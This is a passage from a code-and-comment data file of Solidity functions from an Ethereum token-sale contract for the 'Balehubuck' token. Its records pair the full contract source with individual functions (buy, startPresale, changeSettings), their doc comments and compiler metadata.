// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | buy | function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
| // @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
2952,
3398
]
} | 59,880 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | startPresale | function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
| // @dev Starts the presale | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
3478,
3701
]
} | 59,881 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | changeSettings | function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
| // @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
